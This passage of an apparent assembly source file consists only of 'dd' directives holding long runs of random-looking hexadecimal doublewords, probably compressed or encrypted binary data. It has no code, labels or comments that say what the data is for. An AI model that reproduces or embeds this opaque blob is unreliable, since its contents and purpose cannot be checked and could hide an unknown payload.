49C52A1Ah, 88810013h, 0A1F1A85Dh dd 593D1421h, 25FB0084h, 32E9EBC5h, 0F8DF1C63h, 0D8C700C1h dd 0B0358350h, 0FB3019B8h, 153C5CACh, 82A60040h, 0A0BA0F3Bh dd 0D0008538h, 17EEA80Dh, 782B27ACh, 0D1FB4C2Eh, 0F281A20Eh dd 0F6A9B983h, 2948ADD0h, 47981400h, 0F158F7C0h, 2870B7Ah dd 9820B2A5h, 922520D0h, 288B8E00h, 7A3B57C0h, 48994DBFh dd 25397E00h, 0DB6E2FF7h, 0A0C411Ch, 0A8718D03h, 7414F191h dd 1711C8C0h, 13B81D4h, 0DBCE68E0h, 73D6E0D3h, 0F6DC871Ch dd 0D456957Eh, 5D5C00F4h, 82904D1Ah, 63071E1Bh, 47183AD2h dd 57CA20D7h, 0FD003DF0h, 56DEB70Bh, 12FEFC1h, 8B054DBCh dd 68FAEE8Dh, 0D2760304h, 0C8715965h, 0E2E09AFEh, 191A05BFh dd 40106AE7h, 0EF909EF8h, 9C0F9DAAh, 2239534Eh, 0DAF78A73h dd 80789E34h, 7F411CE1h, 0CC00CB39h, 1EFBDD87h, 1E60F375h dd 0B334FC42h, 6990F781h, 5E00E376h, 0BFDD8325h, 0E8564789h dd 80862E36h, 20590026h, 0EB950BBEh, 0B593D30Ah, 2F00CA14h dd 4A371A89h, 0A8270018h, 455BCD36h, 6A00CE7Bh, 78CF2485h dd 0F20F9659h, 4D9200B3h, 2CFA0989h, 0A201E8C2h, 0B159B020h dd 30806B6Fh, 6C5FBD17h, 0BB074829h, 90CE2EA4h, 75C064CEh dd 90D55083h, 560A87h, 43DA50B2h, 8F6E356Dh, 5CC5C400h dd 0A3A0B31Bh, 0F84CFED0h, 0C6073043h, 9DAFFB18h, 0F0CB311Dh dd 3C546B40h, 0E058D44Ah, 80706006h, 1F6E3BCEh, 61E0A800h dd 0EE93073Eh, 743D3E32h, 39E91870h, 9852886h, 0FD367A00h dd 30401690h, 9D100E1Dh, 0E0203914h, 0ADFCF4ECh, 2F3B900h dd 248C1ABDh, 0CA7045h, 0F19B50F9h, 0ACD3D028h, 77982350h dd 0B1000EE6h, 2D48C4E1h, 39211F58h, 17803601h, 0FA40BDB6h dd 0B2FECB37h, 0E500CDF8h, 0C4EDC673h, 3E78266h, 0A9F75960h dd 7BE8E9C9h, 0CA00EAF4h, 0B8E52CF9h, 66C5D2h, 6ECBF7F6h dd 61F0B5DCh, 0C9BB6D1Eh, 54774200h, 729EBCEh, 40C53F6Fh dd 0BC4A435Eh, 227F2000h, 0B1049553h, 0D2EB18E5h, 0AB2150B2h dd 7E43CF00h, 5259E0B5h, 6222384Bh, 0C6E758E3h, 0D8396100h dd 8C2494B7h, 28471ECFh, 60C7417Eh, 0EC05F751h, 7B0CB0D3h dd 413EB489h, 2DC300E9h, 4EEEE595h, 473A4D98h, 8975184Fh dd 32CA620h, 0E846372Eh, 8C88409h, 2400DCF0h, 0DF4E59D2h dd 9A4204h, 4CEF6D22h, 0AE5A48E2h, 96D850A0h, 395C7400h dd 0C27D19Bh, 0B5EA0206h, 0EB32F5EEh, 0F4C5AC80h, 0F00ECC60h dd 67B25B8Ah, 3CF0AC09h, 0E48D819h, 3E259CE5h, 186F4020h dd 723ADAABh, 0B80F0042h, 17934ED0h, 10B7110h, 0ADD83019h dd 0DC2A6D23h, 2100889Eh, 0B565D372h, 0F894CA83h, 100B00EAh dd 24FB9CF8h, 0AF0038CDh, 0D21507ECh, 396B2AE5h, 0BD80282Dh dd 5CF04A16h, 8D01E974h, 49F9C659h, 21F42BDBh, 78A60179h dd 69A40F18h, 60D4E8E9h, 0B03F6E8h, 512047DEh, 2296E0FFh dd 0F5C53E28h, 0D018675Ch, 1F9F188Ch, 52581200h, 1408365h dd 2A730F08h, 56C01471h, 5806CED2h, 0A1872F00h, 18F052E2h dd 0DA71032Bh, 0E825D79Eh, 79332900h, 0A216493Dh, 4E970EDCh dd 368CDE61h, 0E200D260h, 41843DD5h, 303E5D2Dh, 0DF70598Fh dd 0FE26E9FAh, 45004F65h, 0F81A5AFh, 96473076h, 263304C8h dd 4A1E1300h, 58B10CEFh, 3AAF0071h, 0C2632CC1h, 68004D08h dd 9E7BD90Bh, 1D11F05Dh, 42461560h, 12AC69Bh, 0C0721740h dd 9D47B00h, 5561885Ch, 36A007A2h, 0F72D33h, 0B3CD76E4h dd 780739h, 98F5CF68h, 318CBC9h, 37692E34h, 3391841Ah dd 40C02AE5h, 0A8DA14h, 62E3F58Fh, 97F9B119h, 80995D3Ch dd 0D154D8Ah, 3E7BCA14h, 0A805AAEh, 0F69F5BDAh, 0B9F46B02h dd 147D1039h, 0AF5453h, 81B75577h, 0A13A12h, 0F9678A50h dd 0E3C4BA63h, 18569203h, 703031A4h, 62440748h, 9083E812h dd 0E2D0CDD6h, 94465D00h, 0A081B693h, 2C8E0074h, 6AC2A244h dd 1207DA15h, 75265611h, 37FEE4C0h, 380CF676h, 9600E2F6h dd 0AAA6A4A5h, 2C393A73h, 77FA00D7h, 14A03729h, 0E8D7AD3h dd 0E4B9C6E3h, 3B88F240h, 0BF000DC9h, 0CF498ADEh, 0E67D25h dd 2179DD3h, 886EB623h, 3303C475h, 9FDDD2ACh, 74510147h dd 38722409h, 0EAC0EF68h, 7A019AD0h, 0DD9026A3h, 0B980C411h dd 2E18053Bh, 0FA0AC2D4h, 98FDEF78h, 82351704h, 634DB280h dd 25D93290h, 0D1C3F7FCh, 0FA8A6B0h, 0AB292C03h, 0D031C559h dd 1C84E701h, 0BBD4CC5Eh, 0E450A680h, 6908AB1Fh, 0AAD1450Eh dd 767AC0C1h, 9EFA02h, 0B0C7A9B6h, 0AE6E8085h, 0E9000975h dd 0FB8AB55Bh, 1A77CC0h, 5250B60Ah, 0D037A3E3h, 0CC60ACD2h dd 98948660h, 1ABA00A1h, 0A3A961DCh, 3A3062B7h, 2C2320CAh dd 7A1F0099h, 0C5EFD3CDh, 0FE0055F0h, 6A0A64A5h, 3D1BC911h dd 29005C8Dh, 9F73284Bh, 4A07A127h, 0C2168551h, 0E3635550h dd 222B0584h, 80DDB88Ch, 11F539C5h, 54CF6F06h, 38F160CCh dd 2C80B535h, 0AF065368h, 11743BE4h, 7854B230h, 0BA6C16h dd 0A823E7FBh, 208EE348h, 417CDA30h, 1F5D19D5h, 8024828Fh dd 67D31C46h, 96007CDBh, 878D84FBh, 0D5A54Fh, 98ED2FACh dd 260FD376h, 8B25030h, 11FC67h, 0D6483BD5h, 5433C8E3h dd 0E4F9BB00h, 62EA02FAh, 9840FD2h, 403D8661h, 0CF5F9257h dd 7A1F03FEh, 69802D99h, 0C0FFC20Fh, 0A75C00D7h, 4FDC202Eh dd 9E1DD232h, 0EE5DDE12h, 182C940h, 7D303Fh, 3E9BAA0Eh dd 9D810869h, 99C4C603h, 0D0DD6C2Ch, 0F1D0A9D4h, 7BADCCh dd 6B7798B4h, 89AFE053h, 3796E400h, 0C74EAB7Dh, 0F6CD6330h dd 14A89F64h, 0B9E642BFh, 470095F6h, 9D53AFC4h, 1094D8h dd 580BD04Ah, 0A5B34830h, 6140A900h, 20CFAE45h, 7E680632h dd 10B0BB99h, 0A804BA52h, 0CAFD1F61h, 0F66E0E9Ah, 0EDE76240h dd 0E9015F3Fh, 0CE497778h, 8D8F3BFh, 383E7BF7h, 6387A24Eh dd 10265DFCh, 9E8D55F8h, 0D4E35F00h, 3AE9A7DCh, 51B20098h dd 5B3FBEF6h, 0CA008AA0h, 0A742958Dh, 0C0AA55h, 9E841F13h dd 69997B59h, 8E5EB500h, 94D50E9Bh, 0AB57009Ch, 79C78C33h dd 19012771h, 45F51103h, 0EBE4E47Fh, 399069h, 27EDB86Fh dd 0D9E52999h, 0ADCF4C00h, 4684C5A5h, 70FCE548h, 8C003DEh dd 0C1382192h, 0CD6065FAh, 230EEC53h, 4E4EBB8Ah, 333A60A1h dd 0A384CAh, 3FDD8943h, 7725387Bh, 687C600h, 10A515FFh dd 71B41FCAh, 0F3C00046h, 0F8D88C79h, 0BC13C91Fh, 1F4F49C0h dd 64B88Bh, 0F7ADFA07h, 54E6BDB4h, 0DD6F7C00h, 0C27BF126h dd 0B0C607DAh, 531A1DEFh, 98B0BAEAh, 0B81F71DDh, 9440D9F6h dd 2C24E74Dh, 62DCA8A3h, 663D07ADh, 7083B3A2h, 0CAC4E928h dd 0F907691Dh, 4F226740h, 32A3EDh, 7DD1109Ch, 0D47662A7h dd 0EF98B20Bh, 5C290042h, 9E9F4BFh, 81B9581Dh, 7C4E0A80h dd 0C000BA0Ah, 0EBA161BDh, 5665E70h, 16FE09E5h, 7C7580B4h dd 280745ACh, 8790BFB9h, 0EFB6EE0h, 9E0D034Ch, 0AD5E6FBBh dd 8F6AB9D8h, 9D69A10Eh, 7843A0FBh, 0BE530Eh, 21E6687Fh dd 421EE4C1h, 0A288E31Eh, 0EA443A82h, 3CF2809Ch, 3FB5C9h dd 51DA95EEh, 62EB9A7h, 173FBE7Bh, 467400A9h, 50275E7Eh dd 0FCB238ECh, 7C21B48Eh, 700EC4A9h, 0FF9E7920h, 0F6986ACCh dd 8B01023Eh, 80F75DBCh, 0E10AECE4h, 2DAB003Ah, 480DA5FDh dd 0B700D577h, 96376B80h dd 0F2041302h, 0CFB10067h, 8C9F3F07h, 6671C1F3h, 0F7CE9300h dd 0B7021278h, 0C578DFh, 1099EED7h, 8B348303h, 0D81DF401h dd 0B287B601h, 3298520h, 0FC742578h, 0A8A986FDh, 0C1A8F7B1h dd 1800663Ch, 71FF0F3Bh, 3E54AD20h, 780069C6h, 0B1E48A13h dd 0BC0014A6h, 507E44B6h, 0B2FDDEh, 3F0B3799h, 0B9E25A7Dh dd 47DB3600h, 32117B06h, 97EE64h, 2F2B79B0h, 68776ED5h dd 1C20D0C0h, 0E1F6754h, 0D757B864h, 53803047h, 489022B4h dd 821E8BEBh, 1C0A9AEh, 0A0AF1938h, 5C860010h, 37A1F09Eh dd 1107F21Ch, 7D635F27h, 5B16B9C0h, 0D2230086h, 1A48CDCFh dd 504AA779h, 6057D4C2h, 0E7291Bh, 609D9720h, 5840DB1Bh dd 5C58400h, 7D7A0FFCh, 33780027h, 6C98C363h, 0E00BD15h dd 0D3BA2D10h, 1E71D11h, 0C2902104h, 0FCE8EA33h, 0F800022Ch dd 0AA4C085Bh, 0B24034h, 453C2D03h, 33778DD8h, 0F6571501h dd 5426A727h, 0E264D230h, 839C00BDh, 5802B3E8h, 0A800C8DEh dd 5C91BE47h, 63A75Bh, 3523AF8Dh, 0B234D180h, 0F8A50850h dd 456C2F01h, 87F163BDh, 0E7CA2F4h, 0A76ABA21h, 202017AEh dd 9FE9C85Bh, 55FC339h, 31395115h, 0DD2B8800h, 0E41260E7h dd 0B87AA1h, 0BFD3EA95h, 0A2FB4ACCh, 247C0207h, 6BF3BBC4h dd 0EB60D8E4h, 4DB40031h, 0C7A643FBh, 84020D44h, 0F4F36FCCh dd 68CBE236h, 0BFC1Ch, 0AF4C258Bh, 4F9E973Fh, 0EC1CEF7Ch dd 60932B45h, 0CBF13800h, 49567Ch, 0D214F9Dh, 3BD8F883h dd 0AE004AEEh, 0BA36756Ch, 0B5E65h, 5819F6E2h, 3930CFB3h dd 375ACE00h, 224B992h, 64150738h, 6332B675h, 0F58AFF8Ch dd 79F638C0h, 0C9697B00h, 0C8D4F43h, 0D780C03Fh, 4567301Eh dd 5CCC1700h, 66799A47h, 782B090h, 3DE6D70Dh, 68BBF0FBh dd 0CC01C1EDh, 5ECB67E4h, 1880F544h, 13AFBA01h, 4E008491h dd 66E64008h, 0C5EB03h, 46D7126h, 0C233B694h, 0A521BB03h dd 802E3EF8h, 0ED9725h, 2B5F0D29h, 75E172B2h, 0BAACD300h dd 923FFF4Ah, 1EF99290h, 0D3A4EA37h, 7F78006Ch, 0C88BBC3Ah dd 0F6907000h, 3674BD3Bh, 0DC690012h, 9AB06184h, 5B7D94E9h dd 49B44600h, 6FF015ABh, 129800E6h, 0B717F2DDh, 750078A2h dd 26AC32C9h, 0E4A15Dh, 3FE1CB74h, 113924Bh, 0EE77221Dh dd 26304280h, 0E09B9A94h, 65D20228h, 95446B69h, 0D31D9CC0h dd 0B51D17F6h, 244F992Ah, 8C46E0A2h, 0FEADD9A6h, 0A7101E5Eh dd 6DFCC0EDh, 74F79E75h, 0F5F30600h, 2F3B87DFh, 0D343004Eh dd 447C7273h, 607C94FAh, 900045F6h, 0DC6B7DC0h, 0FFC771h dd 8FA1CE8Eh, 0BCEF5939h, 960E28E4h, 61EEECA2h, 3D9E52CDh dd 482085CDh, 613B0002h, 99305C5Fh, 6300A449h, 0DD05B398h dd 0A91C29h, 0FB8020E9h, 31C33E18h, 7A4A3801h, 0E2790F85h dd 0E45269ECh, 22ED00DBh, 4BA7757h, 0B500068Dh, 0C4D4EBF0h dd 0FC527E4h, 0BC9868B0h, 36357940h, 800F4A2h, 49A7B956h dd 38896A12h, 8F007F21h, 6EBA1953h, 8461E1E6h, 6342E7A8h dd 3B0E420h, 0CA363304h, 6CA8E2EFh, 3DEA7A40h, 72115800h dd 2F45EE34h, 0A8DD1204h, 81BC0F3Fh, 1B480260h, 0B005A233h dd 0A9A19216h, 6F3E080h, 478F005Fh, 16E0FD2h, 0FD0BEEEDh dd 203C3D2Dh, 0A79DF934h, 0BD30C09Ah, 14105BBEh, 315EC303h dd 61F941FDh, 0A1FB21A6h, 8B3980A4h, 3EDDAAF3h, 807A1C57h dd 9DF2C044h, 70355276h, 48033376h, 0BFBA0B4Bh, 0A8FE83C6h dd 783B89Eh, 0F6A723DDh, 0E8E030E6h, 581F565Fh, 807AD9FCh dd 7429B7D8h, 0A0574E20h, 8D328Ch, 27B6E496h, 8CD11EFEh dd 0BB6CDA0Ah, 4800EB0Eh, 409B06A1h, 3C150391h, 20ABA5AEh dd 0F2C12990h, 0B5E3F401h, 0E06FACC0h, 538798FBh, 8EEE77h dd 9CEEDC3Eh, 0E9900B1Fh, 0DBE80C00h, 2298C58h, 2EDE72CAh dd 4C2D1B6h, 0BF0B91D7h, 4020B400h, 73E67EDh, 0D9C3AD69h dd 2A2C91B0h, 577FE05Fh, 9171B31Dh, 0DA3EA2C0h, 679E59h dd 0FE82733Ch, 5AAA39AEh, 0A6F17B03h, 0C1DB66EDh, 0B640D613h dd 2D6002h, 61298B92h, 0E8F4B59Bh, 5578BD00h, 0DC09D0F6h dd 2FF7003Ch, 36EC16C3h, 7D01C56Ah, 5122F914h, 0FF4096DEh dd 8FF809h, 2128125Bh, 0A735E50Ah, 0B54251Eh, 0D080C552h dd 0E296321Dh, 1E4D095Ch, 0FC45C4F2h, 130817DBh, 376C40D8h dd 0C7F7035Ch, 0DC246100h, 66724479h, 73E1FCDDh, 7B191ECBh dd 0DF5E0906h, 0A8627C01h, 0E42988DAh, 46958854h, 3E2CBB84h dd 44DBCC04h, 0E9485B3Bh, 28DE0143h, 1014D051h, 11B84309h dd 0BA0035EDh, 62631473h, 8040AB54h, 814044FFh, 20171A44h dd 0D81032DAh, 98287A0Dh, 2528C8AAh, 417C2C41h, 46024407h dd 2251383Ch, 0F67C36F9h, 11C029C4h, 82C8F440h, 3D22CC57h dd 84423319h, 511EC479h, 90C08E96h, 0C88D1C80h, 5C8C0217h dd 50D8191h, 7B4983F5h, 9F8FD092h, 23CD03A9h, 97539CE7h dd 5BF0C0DCh, 0BF129BB5h, 0F300F12Bh, 3FCF4E8Ch, 27060053h dd 0DA86608Eh, 6F00EA5Bh, 0F3E0C10h, 99C7C41h, 6CDC7D14h dd 70927780h, 0FB00A8F9h, 0B53543FDh, 7A5EEh, 194B01D1h dd 0F489CB45h, 34ACB41Ch, 1ABFDC00h, 13C84E6Dh, 0E21DDBh dd 9211D641h, 0EB009553h, 7A870A5Ch, 7F25A9h, 0E7D92726h dd 0E237B610h, 3693CD02h, 605C7C29h, 1E6DBAB0h, 0C051417Bh dd 0E5DD6520h, 0BF003E31h, 0BE3DEDB4h, 7F09D4h, 0B7DA5C74h dd 7304D080h, 4398CC00h, 0EDAC8912h, 7B8524BEh, 52A4005Ch dd 8C6B0A9Bh, 474760E7h, 95B5300h, 189539E1h, 60C10AE2h dd 0FCFDDFh, 0D3717AB7h, 5E006C8Ch, 0B3AAA241h, 2DB96Eh dd 0B8496AEh, 0B82B9F51h, 4C0F49EAh, 0E0618139h, 0E420B33Bh dd 0F6710741h, 53D7101Fh, 0A1F0F34Ah, 0B9ECD185h, 0ECDEB52Eh dd 0FDB43E00h, 54F636h, 0E25A64FAh, 502A9129h, 779BFF00h dd 0DC4A88EDh, 3C0602D7h, 0EA938A34h, 4B19C040h, 33A23500h dd 6030D127h, 0F43E00EEh, 0B571CAB6h, 66008E3Ch, 0E8F3EA3Ah dd 0E8604B9h, 0E0FFA3B3h, 0EE94660h, 0FD00CBE2h, 27D75E6Bh dd 329F08h, 0A014D0EDh, 0A7BC22D6h, 1CF49150h, 0D7A20400h dd 936A8324h, 19DA0012h, 38EA1809h, 0E51D06BDh, 807B3ECDh dd 0C3562970h, 0EACA4C1h, 4A995A14h, 5D1A31E0h, 0A21C7024h dd 39C07343h, 4571DD8Dh, 3DD3074Dh, 9E6231F2h, 0E0A03FEFh dd 5153DC7Ah, 965F0E00h, 3860074Eh, 3B8E5h, 27B2422Dh dd 2C08FFE7h, 0BE7B9818h, 961F010h, 6D43C3F5h, 0C15F0401h dd 5A1B007Ah, 210A059Ah, 0C00207DCh, 8E6511F6h, 0A7153Ch dd 9DD6BF70h, 84C9E2h, 0A3D3F9A8h, 92940881h, 0C80044B8h dd 6CB7C4DAh, 8350E1h, 3FC1E797h, 0A5AAA939h, 0CD23FC0Bh dd 0F44A8058h, 357AC99h, 0CA7C132Dh, 358812E9h, 620005ABh dd 407D479h, 2665EEh, 95C36811h, 43E16DFEh, 6E557E00h dd 59525B44h, 0EDCF2EE0h, 3DEF0050h, 29FA66Ah, 7E0091F2h dd 25BD0310h, 3B28E16h, 1CFE55A2h, 0C898075Eh, 0A51C69F8h dd 15C01491h, 0AF1FCC9h, 0E5F00Ch, 0E725CD9Ch, 0B16A0BECh dd 5439C600h, 682D0E78h, 194100E5h, 0A25AD655h, 0A512B501h dd 0A42053F1h, 0E378371h, 133226A9h, 3BEA2800h, 0F500DE59h dd 0A1272A24h, 3A9A6A74h, 68809C5Bh, 0AF0D0819h, 300073C3h dd 0F277DE93h, 0A0494DA9h, 783DFDh, 0C3E5E2B1h, 0B4EBE0CDh dd 0B988B700h, 431C99ABh dd 496000A7h, 3C750A29h, 0A50005BDh, 0CE843EF3h, 7643D3h dd 98D1C1BCh, 9D4DE3D0h, 0FCD12B51h, 61004F7Ah, 55EBCCC4h dd 10DFC4Eh, 0AC3A18A2h, 0F59992DCh, 44BBE094h, 0D19AB538h dd 97CEE4B2h, 5800647Dh, 0B4F5051Dh, 0B8DD1Ah, 0D9480391h dd 57F87570h, 96A3F400h, 2B5BC97Eh, 8E0D0473h, 9020871Ch dd 0EC54B99Ch, 22F75300h, 2421B1D4h, 0FC555C97h, 0D2B4A700h dd 87D1088h, 0DD923Dh, 51C7DFCDh, 8AC482h, 0F9BF2BDCh dd 3979B421h, 1784300h, 0A2C71375h, 0BE5F1E8Dh, 974C03DBh dd 24889BF5h, 740BB253h, 401EA89Eh, 663714h, 19236D8Ah dd 0F2B88F07h, 25E72C38h, 0D0540080h, 46725Ch, 0AD45AFC7h dd 5A3A3C68h, 8F017500h, 0D6F157C5h, 3672C9h, 22F6CA40h dd 9E204203h, 390E32Eh, 0F0275800h, 2554C671h, 8802010Ch dd 0E8646232h, 0DB486609h, 0CBEC8031h, 4273F2h, 9534E05Dh dd 0B53B9DCAh, 624EE500h, 0E7BF576Ah, 0CB680055h, 0F6F2781Bh dd 297B8DC1h, 2C394D00h, 346009A8h, 7B79007Dh, 282DA123h dd 9890E576h, 3C579328h, 0D28BBFA0h, 483D160Bh, 281D004Eh dd 3E1117E5h, 8C80A08Ah, 0D5DF1451h, 0B10F0199h, 0C02F9769h dd 0B67346FCh, 0D6403817h, 40A79A9Eh, 57C01998h, 0ED0058DBh dd 0FF3F56F4h, 0EBC8DE5h, 76AA732h, 7C776360h, 65002538h dd 0AF56B594h, 72EDDAA3h, 0D5703C5h, 0B8260278h, 0D40C7BA8h dd 0C1B08E00h, 9F847348h, 0D8450E14h, 6BC0ABA8h, 27EF9AA6h dd 11BC0C00h, 0B9CB3CBEh, 72470044h, 912CC390h, 6F756340h dd 0D60F3616h, 0FD7600Bh, 34FCA076h, 6814B5h, 0F89D3556h dd 0D97DA04Fh, 89C8DE00h, 0E3454A3Ah, 0CC994C06h, 0AEE21A03h dd 4D88E574h, 511E4ECCh, 0A7C00A2Bh, 0CE0B1741h, 378007ECh dd 0F0C596E3h, 93FAD05h, 98434E00h, 23A1448Fh, 7C704C7Bh dd 0AAA0FF00h, 0D81F5DF5h, 3F00DE79h, 0C53A5036h, 7D9D5C7Ah dd 0DB900010h, 0C9DD2877h, 0DAB02181h, 807FF73Ah, 38CD3B66h dd 0B6C989Eh, 0AA5694B6h, 0E093B387h, 0CB1E3C17h, 0BF954100h dd 63DFC7Fh, 462D00D7h, 8547C307h, 0AB010371h, 1963335Ch dd 0C29FDD2Bh, 72DBC33Fh, 0C0A58CA5h, 159C3424h, 0BD485A17h dd 81DAA700h, 0CB8D25h, 3887B8A2h, 21B57F36h, 0DFC92F00h dd 2B56CF84h, 3E78055Ch, 4F162Eh, 51905798h, 9A7835C4h dd 818A4001h, 25832E78h, 7614CCh, 22260BF0h, 97EF3080h dd 3F5C6D79h, 8BC20095h, 9B4BE4A1h, 2CE80066h, 22BE5572h dd 1707565Ch, 0F48D7553h, 33944ED0h, 0FACF0025h, 0BDB6DA7Fh dd 7A00EFD9h, 0A0ECB98Dh, 22E1E18h, 8466ED9Eh, 88C0ACAEh dd 6500480Eh, 0B15BC487h, 1D6E63FFh, 0C05FE3F1h, 94A74414h dd 2300893Dh, 74390BEh, 0E381242h, 2069B635h, 36E8C340h dd 8F00C9ACh, 3184D3B1h, 7B3FEDh, 8CA41093h, 0F7CA369h dd 0AB71DE00h, 0D179D61Eh, 274032Ch, 7795EA4Eh, 0AAA4E8D8h dd 0A705BB15h, 3C202ECCh, 89C3A601h, 6AE81752h, 8B3B0042h dd 0CB113C25h, 9200BA20h, 4F9DA795h, 39F87CEFh, 7A00553Dh dd 5DF69FE1h, 2C7FD24Eh, 0B4006B73h, 0EB53028Eh, 5E5E4351h dd 86D401C4h, 0F4CBA6DCh, 44748D4Ch, 14962A00h, 0BD8A87F2h dd 9CFE0093h, 0B0C677E9h, 200FA8Dh, 0C9D44789h, 3EC8EF0Bh dd 0F1805E8Ah, 8B83C4ACh, 9B00773Eh, 6286C398h, 0DB2C03h dd 5B85CD7h, 5F2166FCh, 937E1773h, 18078212h, 0D3AC4300h dd 48FBFF79h, 840010A2h, 9302B836h, 0A0A0104Bh, 924C8ADBh dd 0FB017E95h, 724EC22Ch, 7AD49FACh, 0EDD20071h, 0B1670B19h dd 1A003745h, 40854CA3h, 0FD84C0D1h, 0ADC32483h, 7BE06159h dd 8902CA91h, 7AB96A26h, 1784F836h, 49DC7D96h, 62808C0Ch dd 2CB6397Bh, 9D69900h, 0DB2B343Dh, 380E0010h, 97CF933Bh dd 0E100C9DEh, 0D312AEAFh, 7E163Ah, 3142A6Bh, 0B4F0EC59h dd 4FBD5800h, 4313201Fh, 0A5B000C5h, 81894E21h, 0B50370FBh dd 0B901B13Ch, 7CB6E8C1h, 0E51203A9h, 0A35FEB3h, 0D46CBB99h dd 0FB0102A3h, 596D9F1Ch, 54E4285Ch, 7A0B018Ch, 0ECCD7484h dd 0C146E994h, 60A849FCh, 0D300C3A5h, 0ED532FE7h, 5A8F41h dd 75F9F5Dh, 0A8C4E85Bh, 3186A0A8h, 362E1100h, 1D666DABh dd 0FDFB00ECh, 0C4A12CFEh, 1200C7E5h, 0E64BEF51h, 79850Ah dd 0B45FC295h, 22A17C28h, 96FE3F1Fh, 1F19CF87h, 0BF39406Eh dd 0E3CBAA7h, 874EFA62h, 6D0D80E0h, 16B2D291h, 0A4F7EE02h dd 606F5AE3h, 0B0C6BA44h, 95D60FF1h, 0F42B1489h, 2B130401h dd 45BBF888h, 43FCCD50h, 0B479530Fh, 56C181F1h, 71F424E9h dd 7AC000FCh, 509EE3BDh, 4900396Dh, 0AA98D226h, 2E93F996h dd 671C22h, 78B216C1h, 95E54Eh, 0FA22430h, 0C8174860h dd 3EAF3800h, 9599CBBCh, 6F5E7D00h, 0A7080DF0h, 25730171h dd 0A2502736h, 1317C0F9h, 2E62C2Dh, 0F08F3FE4h, 50A000E4h dd 825DFDEFh, 5E5C6570h, 97BB00CAh, 79345FB1h, 0BD89F236h dd 7B95600h, 0FD00F7DFh, 1AB01899h, 8CDD3h, 4AF0A72h, 0BDF3478Ah dd 0D535F700h, 67075805h, 48850081h, 0CB1FF957h, 6A00DCE7h dd 9B5C534Eh, 1DE3D9BBh, 7F0D337Ch, 0BD613280h, 0A3DB8E30h dd 22F420E5h, 5800374Bh, 53F42F64h, 13BD0151h, 5F81D603h dd 63E4DC3Ch, 0A69D1B00h, 6B87C941h, 6D3E0133h, 5619EBA0h dd 940E2B83h, 0E563E2DAh, 0A9A24197h, 1A12420h, 0DE0A1747h dd 0E9E73530h, 0E0E3D027h, 0A4299F00h, 0D48526CCh, 4AD30718h dd 508E8492h, 3F602E52h, 0CAB65303h, 0E9092082h, 23CCE080h dd 297700D1h, 0C8B15E70h, 6901DD46h, 0ACDBF474h, 0D1204548h dd 0D4B00084h, 0DF2E014Eh, 7606EBE5h, 24638290h, 99EA0098h dd 0FD2C51Bh, 0D7005D2Ah, 0F3CB223Eh, 24133376h, 71547DAh dd 0D05211B1h, 8B143604h, 90D3B750h, 4915EE0Dh, 4D6031AAh dd 0ECE40E85h, 1760E0D7h, 0C0510C97h, 0D6ACD216h, 107A2C80h dd 0DEDF01AAh, 1C642CF8h, 66CCE0A1h, 67D67D0Fh, 2E0DE04Bh dd 772C776h, 0ACE4C9A8h, 3127300Ch, 0B303AFADh, 2DC65963h dd 0E95BE145h, 6F44C0F6h, 8E6607F1h, 80FBC360h, 7FD37370h dd 82069A00h, 6F44EFCAh, 4C36003Eh, 0C6C24AC0h, 70257749h dd 7F74989Ah, 63417A7h, 0D8C4096h, 0A22A5450h, 8B20A90Bh dd 0D9D8C8DAh, 5CC30036h, 83CCBF70h, 0EB78F17Ch, 0FF0FB774h dd 0F2B580C1h, 6043080Bh, 49E6C0h, 716AD894h, 0CDE339BBh dd 17E88095h, 72F3CABh, 5C6004ECh, 8DCED01Dh, 3A009445h dd 0D28B139Eh, 2E43AFAEh, 6CAAFDh, 95E60834h, 0A300B512h dd 46CFF3DDh, 17E864CBh, 34B13Fh, 0CEA6242Eh, 2006727h dd 5B1BD565h, 1C50635Ch, 0C0B56A1Ch, 0C3EA38C5h, 0CCB887C8h dd 66053298h, 0C9D14A6Eh, 86F8CEC0h, 2180127Ah, 7DDCC09Ah dd 0D9005395h, 0E3E1E41Ah, 77EC27h, 326084C3h, 755B6CCBh dd 0BB020800h, 0B1522171h, 0C7810059h, 0CCE24787h, 15382D8Eh dd 0CCC5AE5Eh, 2C7E0F05h, 4B824C4h, 0AB76E400h, 643411B7h dd 80A2B53Ch, 4965F071h, 0FD387B4h, 7686569Ch, 40850809h dd 0FFF8904Fh, 0B92F9B84h, 48980014h, 5B771Fh, 65327CE0h dd 4B36CC5Ah, 5F73B000h, 0BF851369h, 8F670762h, 0A0EC9D4Fh dd 6B41437h, 99FC30FDh, 8054D44Ch, 5EBBCAC2h, 394FC7Ah dd 0E8226173h, 6EB81BD4h, 0CF007F4Eh, 8B6C4BDDh, 0CA11E9h dd 0B3148747h dd 0FFCEBB18h, 0FD8FEBA0h, 5A2D587Ch, 0E8840268h, 1EEA1675h dd 8FB34A1Ch, 80D34701h, 0D170155Ch, 7809002Dh, 53AAA933h dd 42009F99h, 35DC969Eh, 7A4D8BDh, 0A98786A5h, 0CE8639A0h dd 122E6874h, 8F403C45h, 3DBEB336h, 638050A5h, 1FB5160Eh dd 6A0EE8D6h, 0E0ADD930h, 9D4E71E3h, 0C5150246h, 68E97632h dd 5A90F4E8h, 800EC33Dh, 446A9F7Ch, 7C158EAh, 0DF9DBBFDh dd 38664054h, 0FA1E6419h, 76437C49h, 8184E30Ah, 40F46995h dd 0EF23008Bh, 55F3C572h, 0D303EA93h, 7851C453h, 0E2078867h dd 0DC114813h, 76C7D700h, 0B02C64B9h, 2F1A2300h, 0AF62ABEh dd 42160074h, 0EC078C5Ah, 97988E03h, 0AE33CF0Fh, 90096ACh dd 0AD79556Bh, 0D359009Dh, 7D0E181Ch, 270158B0h, 138A3FFFh dd 0AAE8901Dh, 25BD3902h, 0CC38D00h, 0E6ABEC03h, 6107FB74h dd 0D8B250A4h, 0BD1DE920h, 11080045h, 20847405h, 80275EF3h dd 55C8002Fh, 8EECBEh, 35839AE7h, 486D7C88h, 2C272526h dd 0E9A1BDh, 15B8ED58h, 9A00A7F6h, 0D5FF571Fh, 517D71h dd 9B95E862h, 0D0ECCCBCh, 0EAD9E600h, 3711C1ACh, 9054EA80h dd 0E52F00D4h, 3A4C50F0h, 280481F2h, 0D0B8FB34h, 98338DCh dd 42034D88h, 0F45E6061h, 10055E9h, 0E57C291Ch, 0C745ECh dd 70E3242Bh, 0BF3B0627h, 92B3080Fh, 7DB2402Ch, 3CD1479Bh dd 0AF4BCDECh, 365ECB00h, 5C04998Bh, 141F0918h, 40246EB7h dd 987B34Bh, 4B6C5Ch, 4868AF77h, 92D727h, 9905374Eh, 0C3091D6h dd 3BF36300h, 18DD490Eh, 6E5E1E52h, 